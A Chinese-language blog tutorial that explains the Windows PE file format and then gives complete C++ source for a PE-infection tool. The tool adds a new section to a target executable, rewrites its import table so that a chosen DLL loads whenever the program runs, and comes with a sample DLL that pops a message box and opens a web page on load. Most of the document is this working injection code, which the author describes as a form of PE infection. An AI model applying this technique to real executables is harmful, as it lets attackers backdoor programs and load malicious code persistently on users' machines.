劫持 PE 文件：新建节表并插入指定 DLL 文件

 PE格式简介

        PE(Portable Executable)格式，是微软Win32环境可移植可执行文件(如exe、dll、vxd、sys和vdm等)的标准文件格式。PE格式衍生于早期建立在VAX(R)VMS(R)上的COFF(Common Object File Format)文件格式。

        Portable 是指对于不同的Windows版本和不同的CPU类型上PE文件的格式是一样的，当然CPU不一样了，CPU指令的二进制编码是不一样的。只是文件中各种东西的布局是一样的。

        PE文件使用的是一个平面地址空间，所有代码和数据都合并在一起，组成一个很大的结构。主要有:

下面是一个简化的PE文件格式

简化PE文件格式

DOS MZ Header

PE Header

Section Table

Section 1

Section 2

...

Section n

Dos Mz head 和Dos stub和称Dos文件头，PE文件的第一个字节起始于MS-DOS头部，被称作IMAGE_DOS_HEADER.紧随Dos stub的是PE文件头(PE Header)，PE Header是PE相关结构NT映像头(IMAGE_NT_HEADERS)的简称，其中包含许多PE装载器用到的重要字段。

1、入口点 Entry Point

2、文件偏移地址 File Offset

3、虚拟地址 Virtual Address 简称:VA

4、基地址 ImageBase

5、相对虚拟地址 Relative Virual Address 简称:RVA

公式: RVA (相对虚拟地址) =VA (虚拟地址) - ImageBase (基地址)

文件偏移地址和虚拟地址转换

在X86系统中，每个内存页的大小是4KB，即0X1000个字节。

文件偏移地址 File Offset = RVA (相对虚拟地址) 

文件偏移地址 File Offset = VA (虚拟地址) - ImageBase (基地址) 

• PE具体结构图

pe格式的结构体定义可以在编译器的include文件夹里的winnt.h找到。

如下所示(经过简化的，具体的可以查看winnt.h,不同字长的结构，其实大体一样的)。

几个宏定义:

IMAGE_DOS_HEADER

typedef struct _IMAGE_DOS_HEADER{WORD e_magic; //魔术数字，所有MS-DOS兼容的可执行文件都将此值设为0X4D5A(MZ)WORD e_cblp; //文件最后页的字节数WORD e_cp; //文件页数WORD e_crlc; //重定义元素个数WORD e_cparhdr; //头部尺寸，以段落为单位WORD e_minalloc; //所需的最小附加段WORD e_maxalloc; //所需的最大附加段WORD e_ss; //初始的SS值(相对偏移量)WORD e_sp; //初始的SP值WORD e_csum; //校验和WORD e_ip; //初始的IP值WORD e_cs; //初始的CS值(相对偏移量)WORD e_lfarlc; //重分配表文件地址WORD e_ovno; //覆盖号WORD e_res[4]; //保留字WORD e_oemid; //OEM标识符(相对e_oeminfo)WORD e_oeminfo; //OEM信息WORD e_res2[10]; //保留字DWORD e_lfanew; //新exe头部的文件地址}IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

IMAGE_NT_HEADERS

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16typedef struct IMAGE_NT_HEADERS{DWORD Signature;IMAGE_FILE_HEADER FileHeader;IMAGE_OPTIONAL_HEADER32 OptionalHeader;}IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS;typedef struct IMAGE_FILE_HEADER{WORD Machine;WORD NumberOfSections;//节的数量DWORD TimeDateStamp;DWORD PointerToSymbols;DWORD NumberOfSymbols;WORD SizeOfOptionalHeader;WORD Characteristics;}IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER;typedef struct IMAGE_OPTIONAL_HEADER32{WORD Magic;BYTE MajorLinkerVersion;BYTE MinorLinkerVersion;DWORD SizeOfCode;DWORD SizeOfInitializedData;DWORD SizeOfUnInitializedData;DWORD AddressOfEntryPoint;DWORD BaseOfCode;DWORD BaseOfData;DWORD ImgaeBase;DWORD SectionAlignment;DWORD FileAlignment;WORD MajorOperatingSystemVersion;WORD MinorOperatingsystemversion;WORD MajorImageVersion;WORD MinorImageVersion;WORD MajorSubsybtemVersion;WORD MinorSubsybtemVersion;DWORD Win32VersionValue;DWORD SizeOfImage;DWORD SizeoOfHeaders;DWORD CheckSum;WORD Subsystem;WORD DllCharacteristics;DWORD SizeOfStackReserve;DWORD SizeOfStackCommit;DWORD SizeOfHeapReserve;DWORD SizeOfHeapCommit;DWORD LoaderFlages;DWORD NumberOfRvaAndSizes;IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];}IMAGE_OPTIONAL_HEADER32,*PIMAGE_OPTIONAL_HEADER32;

IMAGE_SECTION_HEADER

PE文件头后是节表，在winnt.h下如下定义typedef struct _IMAGE_SECTION_HEADER{//IMAGE_SIZEOF_SHORT_NAME=8BYTE Name[IMAGE_SIZEOF_SHORT_NAME];//节表名称,如".text"union{DWORD PhysicalAddress;//物理地址DWORD VirtualSize;//真实长度，这两个值是一个联合结构，可以使用其中的任何一个，//一般是节的数据大小} Misc;DWORD VirtualAddress;//RVADWORD SizeOfRawData;//物理长度DWORD PointerToRawData;//节基于文件的偏移量DWORD PointerToRelocations;//重定位的偏移DWORD PointerToLinenumbers;//行号表的偏移WORD NumberOfRelocations;//重定位项数目WORD NumberOfLinenumbers;//行号表的数目DWORD Characteristics;//节属性 如可读，可写，可执行等} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

typedef struct IMAGE_THUNK_DATA{union{DWORD ForwarderString;DWORD Function;DWORD Ordinal;DWORD AddressOfData;}u1;}IMAGE_THUNK_DATA,*PIMAGE_THUNK_DATA;typedef struct IMAGE_IMPORT_BY_NAME{WORD Hint;BYTE Name;}IMAGE_IMPORT_BY_NAME;

详细PE结构说明请查阅：

PE文件结构详解 --（完整版）https://hupengcheng.blog.csdn.net/article/details/125847139?spm=1001.2101.3001.6650.5&utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-5-125847139-blog-92456577.235%5Ev40%5Epc_relevant_anti_t3_base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-5-125847139-blog-92456577.235%5Ev40%5Epc_relevant_anti_t3_base&utm_relevant_index=10

 

• 修改 PE 文件 IAT 注入

        通过以上的简单了解后，那么我们便进入正题。

        下面演示的这种方法其实是 PE 感染的一种，通过对目标程序添加一个新节并注入DLL，然后这会改变 PE 文件的大小，将原有的导入表复制到新节中，并添加自己的导入表描述符，最后将数据目录项中指向的导入表的入口指向新节。

        1、在目标 PE 文件中添加一个新节并映射 PE 文件，判断是否可以加一个新节，找到节的尾部，矫正偏移，对齐 RVA 填充新节 PIMAGE_SECTION_HEADER，修改IMAGE_NT_HEADERS，将新节添加到文件尾部。

        2、修改导入表：判断是否使用了绑定导入表，往新节中拷贝原导入表内容，继续构造新的导入表描述符 PIMAGE_IMPORT_DESCRIPTOR，构造IAT结构体 PIMAGE_THUNK_DATA，填充 PIMAGE_THUNK_DATA，将 PIMAGE_IMPORT_DESCRIPTOR 的 OriginalFirstThunk 和 FirstThunk 指向 PIMAGE_THUNK_DATA，name 指向 DllName，最后修改导入表的 VirtualAddress 指向新节。

IDT 结构：

​

        IDT 的描述在 IMAGE_OPTION_HEADER 里面的 IMPORT Table，通过 size 可以确定是否有足够的空间让我们添加。

        IDT 是由 IMAGE_IMPORT_DESCRIPTION (简称IID) 结构体组成的数组，数组末尾以NULL结构体结束。每个IID结构体为0x14字节所以这里IID区域为RVA。

废话不多……直接上代码。 

• 现实代码 

 DLL：

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"extern "C"
{__declspec(dllexport) int Msg();
}__declspec(dllexport) int Msg()
{system("start https://www.chwm.vip/?PEinject_v1.0");return 0;
}DWORD WINAPI Thread(LPVOID LpParameter)
{char szPath[MAX_PATH] = { 0 };char szBuf[1024] = { 0 };GetModuleFileName(NULL, szPath, MAX_PATH);sprintf(szBuf, "DLL 已注入到进程\r\n%s\r\nProcessID\r\n%d\r\n", szPath, GetCurrentProcessId());MessageBox(NULL, szBuf, "DLL Inject", MB_OK);return 0;
}BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:CreateThread(NULL, 0, Thread, NULL, 0, NULL);Msg();break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}

主程序：

// PEinject.cpp : 定义控制台应用程序的入口点。
//#include "stdafx.h"
#include "PEinject.h"#ifdef _DEBUG
#define new DEBUG_NEW
#endif#define ERROR_MESSAGE(Msg) cout << Msg << endl;// 唯一的应用程序对象CWinApp theApp;using namespace std;BOOL    AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
BOOL    AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize);
BOOL    AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
DWORD   RVAToFOA(PIMAGE_NT_HEADERS pNtHeaders, DWORD dwRVA);
ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign);BOOL AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
{BOOL bOk = false;try{bOk = AddNewSection(strTargetFile, 256);if (!bOk){ERROR_MESSAGE("AddImportTable:AddNewSection failed.");return false;}bOk = AddNewImportDescriptor(strTargetFile, strInjectDllName, strFunctionName);if (!bOk){ERROR_MESSAGE("AddImportTable:AddNewImportDescriptor failed.");return false;}}catch (exception* e){ERROR_MESSAGE((string("AddImportTable:") + e->what()).c_str());return false;}return true;
}BOOL AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize)
{BOOL bOk = true;HANDLE TargetFileHandle = nullptr;HANDLE MappingHandle = nullptr;PVOID FileData = nullptr;try{// 打开文件TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (TargetFileHandle == INVALID_HANDLE_VALUE){ERROR_MESSAGE(string("AddNewSection:CreateFileA error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);// 映射文件MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);if (MappingHandle == NULL){ERROR_MESSAGE(string("AddNewSection:CreateFileMapping error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}// 得到缓存头FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);if (FileData == NULL){ERROR_MESSAGE(string("AddNewSection:MapViewOfFile error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}// 判断是否是PE文件if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE){ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");bOk = false;goto EXIT;}PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE){ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");bOk = false;goto EXIT;}// 判断是否可以增加一个新节if ((pNtHeaders->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHeaders->OptionalHeader.SizeOfHeaders/*三个部分的总大小*/){ERROR_MESSAGE("AddNewSection:There is not enough space to add a new section.");bOk = false;goto EXIT;}// 得到新节的起始地址， 最后的起始地址PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections;PIMAGE_SECTION_HEADER pLastSectionHeader = pNewSectionHeader - 1;// 对齐RVA和偏移DWORD FileSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.FileAlignment);DWORD FileOffset = PEAlign(pLastSectionHeader->PointerToRawData + pLastSectionHeader->SizeOfRawData, pNtHeaders->OptionalHeader.FileAlignment);DWORD VirtualSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.SectionAlignment);DWORD VirtualOffset = PEAlign(pLastSectionHeader->VirtualAddress + pLastSectionHeader->Misc.VirtualSize, pNtHeaders->OptionalHeader.SectionAlignment);// 填充新节表memcpy(pNewSectionHeader->Name, "00cfg", strlen("00cfg"));pNewSectionHeader->VirtualAddress = VirtualOffset;pNewSectionHeader->Misc.VirtualSize = VirtualSize;pNewSectionHeader->PointerToRawData = FileOffset;pNewSectionHeader->SizeOfRawData = FileSize;pNewSectionHeader->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;// 修改IMAGE_NT_HEADERSpNtHeaders->FileHeader.NumberOfSections++;pNtHeaders->OptionalHeader.SizeOfImage += VirtualSize;pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;            // 关闭绑定导入pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;// 添加新节到文件尾部SetFilePointer(TargetFileHandle, 0, 0, FILE_END);PCHAR pNewSectionContent = new CHAR[FileSize];RtlZeroMemory(pNewSectionContent, FileSize);DWORD dwWrittenLength = 0;bOk = WriteFile(TargetFileHandle, pNewSectionContent, FileSize, &dwWrittenLength, nullptr);if (bOk == false){ERROR_MESSAGE(string("AddNewSection:WriteFile error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}}catch (exception* e){ERROR_MESSAGE((string("AddNewSection:") + e->what()).c_str());bOk = false;}
EXIT:if (TargetFileHandle != NULL){CloseHandle(TargetFileHandle);TargetFileHandle = nullptr;}if (FileData != NULL){UnmapViewOfFile(FileData);FileData = nullptr;}if (MappingHandle != NULL){CloseHandle(MappingHandle);MappingHandle = nullptr;}return bOk;
}ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign)
{return(((dwNumber + dwAlign - 1) / dwAlign) * dwAlign);        //  想 dwAlign 对齐，加上 dwAlign - 1，这样就可以保证对齐后的值 >= dwNumber
}BOOL AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
{bool bOk = true;HANDLE TargetFileHandle = nullptr;HANDLE MappingHandle = nullptr;PVOID FileData = nullptr;PIMAGE_IMPORT_DESCRIPTOR pImportTable = nullptr;try{// 打开文件TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (TargetFileHandle == INVALID_HANDLE_VALUE){ERROR_MESSAGE(string("AddNewImportDescriptor:CreateFileA error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);// 映射文件MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);if (MappingHandle == NULL){cout << "AddNewImportDescriptor:CreateFileMapping error with error code:" << std::to_string(GetLastError()).c_str();bOk = false;goto EXIT;}// 得到缓存头FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);if (FileData == NULL){ERROR_MESSAGE(string("AddNewImportDescriptor:MapViewOfFile error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}// 判断是否是PE文件if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE){ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");bOk = false;goto EXIT;}PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE){ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");bOk = false;goto EXIT;}// 得到原导入表pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)FileData + RVAToFOA(pNtHeaders, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));// 判断是否使用了绑定导入表bool bBoundImport = false;if (pImportTable->Characteristics == 0 && pImportTable->FirstThunk != 0){// 桥一为0 桥二不是0 说明使用了绑定导入表bBoundImport = true;pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;    // 关闭绑定导入pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;}// 找到自己添加的新节PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections - 1;PBYTE pNewSectionData = pNewSectionHeader->PointerToRawData + (PBYTE)FileData;PBYTE pNewImportDescriptor = pNewSectionData;// 往新节中拷贝原导入表内容int i = 0;while (pImportTable->FirstThunk != 0 || pImportTable->Characteristics != 0){memcpy(pNewSectionData + i * sizeof(IMAGE_IMPORT_DESCRIPTOR), pImportTable, sizeof(IMAGE_IMPORT_DESCRIPTOR));pImportTable++;pNewImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);i++;}// 复制最后一个描述符memcpy(pNewImportDescriptor, pNewImportDescriptor - sizeof(IMAGE_IMPORT_DESCRIPTOR), sizeof(IMAGE_IMPORT_DESCRIPTOR));// 计算修正值DWORD dwDelt = pNewSectionHeader->VirtualAddress - pNewSectionHeader->PointerToRawData;// pNewImportDescriptor 当前指向要构造的新描述符 再空出一个空描述符作为导入表的结束符 所以是 2 *PIMAGE_THUNK_DATA pNewThunkData = PIMAGE_THUNK_DATA(pNewImportDescriptor + 2 * sizeof(IMAGE_IMPORT_DESCRIPTOR));PBYTE pszDllName = (PBYTE)(pNewThunkData + 2);memcpy(pszDllName, strInjectDllName.c_str(), strInjectDllName.length());// 确定 DllName 的位置pszDllName[strInjectDllName.length() + 1] = 0;// 确定 IMAGE_IMPORT_BY_NAM 的位置PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pszDllName + strInjectDllName.length() + 1);// 初始化 IMAGE_THUNK_DATApNewThunkData->u1.Ordinal = (DWORD_PTR)pImportByName - (DWORD_PTR)FileData + /*加上修正值 - 这里应该填充在内存中的地址*/dwDelt;// 初始化 IMAGE_IMPORT_BY_NAMEpImportByName->Hint = 1;memcpy(pImportByName->Name, strFunctionName.c_str(), strFunctionName.length());pImportByName->Name[strFunctionName.length() + 1] = 0;// 初始化 PIMAGE_IMPORT_DESCRIPTORif (bBoundImport){((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = 0;}else{((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;}((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->FirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->Name = dwDelt + (DWORD_PTR)pszDllName - (DWORD_PTR)FileData;// 修改导入表入口pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = pNewSectionHeader->VirtualAddress;pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = (i + 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR);}catch (exception* e){ERROR_MESSAGE((string("AddNewImportDescriptor:") + e->what()).c_str());bOk = false;}EXIT:{if (TargetFileHandle != NULL){CloseHandle(TargetFileHandle);TargetFileHandle = nullptr;}if (FileData != NULL){UnmapViewOfFile(FileData);FileData = nullptr;}if (MappingHandle != NULL){CloseHandle(MappingHandle);MappingHandle = nullptr;}}return bOk;
}PIMAGE_SECTION_HEADER GetOwnerSection(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
{int i;PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)(pNTHeaders + 1);for (i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++){if ((dwRVA >= (pSectionHeader + i)->VirtualAddress) && (dwRVA <= ((pSectionHeader + i)->VirtualAddress + (pSectionHeader + i)->SizeOfRawData))){return ((PIMAGE_SECTION_HEADER)(pSectionHeader + i));}}return PIMAGE_SECTION_HEADER(NULL);
}DWORD RVAToFOA(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
{DWORD _offset;PIMAGE_SECTION_HEADER section;// 找到偏移所在节section = GetOwnerSection(pNTHeaders, dwRVA);if (section == NULL){return(0);}// 修正偏移_offset = dwRVA + section->PointerToRawData - section->VirtualAddress;return(_offset);
}int main(int argc, char *argv[])
{AddImportTable("Wmplayer.exe", "TestDLL.dll", "Msg");system("start https://www.chwm.vip/?PEinject_v1.0");system("pause");return 0;
}

• 效果演示：

修改前

修改后

 

运行效果